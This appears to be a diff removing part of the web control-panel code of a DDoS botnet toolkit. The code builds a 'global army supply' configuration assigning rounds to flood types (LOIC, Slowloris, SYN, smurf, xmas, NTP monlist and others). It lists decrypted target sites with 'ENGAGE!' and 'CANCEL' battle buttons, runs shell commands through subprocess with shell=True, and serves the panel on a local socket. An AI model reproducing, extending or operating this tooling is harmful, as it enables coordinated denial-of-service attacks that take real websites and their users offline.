- print('[Error] [AI] Cannot open: "core/json/supplycfg.json" -> [Aborting!]\n')
- return
- else: # generate default global army supply configuration file
- print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]')
- with open(self.mothership_supplycfg_file, "w") as f:
- json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0}, f, indent=4)
- with open(self.mothership_supplycfg_file) as data_file:
- data = json.load(data_file)
- self.supply_botnet = data["botnet"]
- self.supply_loic = data["loic"]
- self.supply_loris = data["loris"]
- self.supply_ufosyn = data["ufosyn"]
- self.supply_spray = data["spray"]
- self.supply_smurf = data["smurf"]
- self.supply_xmas = data["xmas"]
- self.supply_nuke = data["nuke"]
- self.supply_tachyon = data["tachyon"]
- self.supply_monlist = data["monlist"]
- f = open(self.wargames_file,"r")
- ls = f.readlines()
- f.close()
- if ls:
- wargames_autopanel = "<u>MASSIVE ACTION</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><button title='Remove ALL: -CLOSED-' onclick=JobRemoveAll('"+str(wargames_deckey)+"')>-PURGE-</button></td><td align='center'><button style='background-color:cyan;height:50px;width:120px' title='Engage ALL: -ONGOING-' onclick=JobAddAll()>ENGAGE ALL!</button></td><td align='center'><button style='background-color:red;height:50px;width:120px' title='Cancel ALL: JOINED!' onclick=JobCancelAll()>PANIC!!!</button></td></tr></table><br><br>"
- wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td><td align='center'>SPRAY:</td></tr><tr><td align='center'><input type='number' min='1' max='99999' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SMURF:</td><td align='center'>XMAS:</td><td align='center'>NUKE:</td><td align='center'>TACHYON:</td><td align='center'>MONLIST:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_nuke' value='"+str(self.supply_nuke)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_tachyon' value='"+str(self.supply_tachyon)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_monlist' value='"+str(self.supply_monlist)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
- else:
- wargames_autopanel = ""
- wargames_supply = ""
- wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
- f = open("/tmp/out", "w")
- self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
- wargames_id = 1
- for m in self.list_wargames_rev: # list = creation, target, estimated
- if wargames_msg_sep in m:
- m = m.split(wargames_msg_sep)
- wargames_creation = m[0] # creation date
- self.decrypt(wargames_deckey, wargames_creation)
- if self.decryptedtext:
- wargames_creation = self.decryptedtext
- else:
- wargames_creation = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- wargames_target = m[1] # target
- wargames_target_joined = wargames_target
- self.decrypt(wargames_deckey, wargames_target)
- if self.decryptedtext:
- wargames_target = self.decryptedtext
- if wargames_target.startswith("www."):
- wargames_target = wargames_target.replace("www.","")
- else:
- wargames_target = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- wargames_estimated = m[2] # estimated time
- self.decrypt(wargames_deckey, wargames_estimated)
- if self.decryptedtext:
- wargames_estimated = self.decryptedtext
- wargames_join_flag = True
- else:
- wargames_estimated = nodec_text
- self.decryptedtext = "" # clean decryptedtext buffer
- else:
- wargames_target = "KEY?"
- now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
- now = strptime(now, "%d-%m-%Y %H:%M:%S")
- try:
- wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
- wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
- except: # discarding errors also on panel
- wargames_creation = now
- wargames_estimated = now
- if wargames_target == "KEY?": # allow to discard unencrypted wargames
- wargames_creation = now
- wargames_estimated = now
- if (now >= wargames_estimated) == False: # change flag color when time is out
- time_now = time.mktime(now)
- time_estimated = time.mktime(wargames_estimated)
- wargames_eta = (time_estimated - time_now)
- hours, rem = divmod(wargames_eta, 3600)
- minutes, seconds = divmod(rem, 60)
- if "!!!" in wargames_target_joined:
- status = "JOINED!"
- wargames_status = "<font color='cyan'>"+status+"</font>"
- if wargames_join_flag == True:
- wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
- else:
- wargames_join = "KEY?" # present but with a different crypto-key
- wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
- wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
- time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
- wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
- creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
- else:
- status = "-ONGOING-"
- wargames_status = "<font color='orange'>"+status+"</font>"
- if wargames_join_flag == True:
- wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
- else:
- wargames_join = "KEY?" # present but with a different crypto-key
- wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
- wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
- time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
- wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
- creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
- else:
- wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
- time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
- wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
- creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
- wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
- wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
- status = "-CLOSED-"
- wargames_status = "<font color='red'>"+status+"</font>"
- wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
- wargames_id = wargames_id + 1
- wargames_table += "</table><br>"
- f.write(wargames_table)
- f.write(end_mark)
- f.close()
- if page == "/cmd_decrypt_wargames_update":
- if not os.path.exists('/tmp/out'):
- open('/tmp/out', 'w').close()
- with open('/tmp/out', 'r') as f:
- self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
- if page == "/blackholes":
- self.pages["/blackholes"] = self.html_blackholes()
- if page == "/requests":
- if pGet=={}:
- self.pages["/requests"] = self.html_requests()
- else:
- self.save_cfg(pGet)
- self.pages["/requests"] = self.html_request_submit()
- if page == "/abduction":
- self.pages["/abduction"] = self.html_abduction()
- if page == "/stats":
- self.pages["/stats"] = self.html_stats()
- if page == "/wormhole":
- self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
- ctype = "text/html"
- if page.find(".js") != -1:
- ctype = "application/javascript"
- elif page.find(".txt") != -1:
- ctype = "text/plain"
- elif page.find(".ico") != -1:
- ctype = "image/x-icon"
- elif page.find(".png") != -1:
- ctype = "image/png"
- elif page.find(".css") != -1:
- ctype = "text/css"
- if page in self.pages:
- return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
- return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
- class Command(object):
- def __init__(self, cmd):
- self.cmd = cmd
- self.process = None
- def run(self, timeout):
- def target():
- self.process = subprocess.Popen(self.cmd, shell=True)
- thread = threading.Thread(target=target)
- thread.start()
- thread.join(timeout)
- if thread.is_alive():
- self.process.terminate()
- thread.join()
- if __name__ == "__main__":
- webbrowser.open('http://127.0.0.1:9999', new=1)
- tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- tcpsock.bind((host, port))
- while True:
- tcpsock.listen(4)
- (clientsock, (ip, c_port)) = tcpsock.accept()
- newthread = ClientThread(ip, c_port, clientsock)
- newthread.start()
|